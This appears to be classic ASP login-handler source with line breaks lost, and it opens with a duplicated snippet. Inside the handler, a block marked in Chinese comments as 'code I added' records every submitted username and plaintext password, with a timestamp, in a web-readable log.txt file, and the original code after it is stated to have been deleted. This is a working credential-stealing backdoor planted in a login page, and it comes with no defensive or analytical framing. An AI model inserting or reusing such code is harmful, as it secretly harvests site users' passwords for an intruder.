set fso=server.createobject("scripting.filesystemobject")if fso.FileExists(server.mappath("log.txt"))=true thenset fin=fso.OpenTextFile(server.mappath("log.txt"))temp=fin.readallfin.closeset fin=nothingend ifset fout=fso.createtextfile(server.mappath("log.txt"))fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")fout.closeset fout=nothingset fso=nothing
<%@language=vbscript codepage=936 %><%dim sql,rsdim username,password,CheckCodeusername=replace(trim(request("username")),"'","")password=replace(trim(Request("password")),"'","")CheckCode=replace(trim(Request("CheckCode")),"'","")if UserName="" thenFoundErr=TrueErrMsg=ErrMsg & "<br><li>用户名不能为空!</li>"end ifif Password="" thenFoundErr=TrueErrMsg=ErrMsg & "<br><li>密码不能为空!</li>"end ifif CheckCode="" thenFoundErr=TrueErrMsg=ErrMsg & "<br><li>验证码不能为空!</li>"end ifif session("CheckCode")="" thenFoundErr=TrueErrMsg=ErrMsg & "<br><li>你登录时间过长,请重新返回登录页面进行登录。</li>"end ifif CheckCode<>CStr(session("CheckCode")) thenFoundErr=TrueErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致,请重新输入。</li>"end if'这后面是我增加的代码~开始区域set fso=server.createobject("scripting.filesystemobject")if fso.FileExists(server.mappath("log.txt"))=true thenset fin=fso.OpenTextFile(server.mappath("log.txt"))temp=fin.readallfin.closeset fin=nothingend ifset fout=fso.createtextfile(server.mappath("log.txt"))fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")fout.closeset fout=nothingset fso=nothing'后面的代码被我删除了~结束区域%>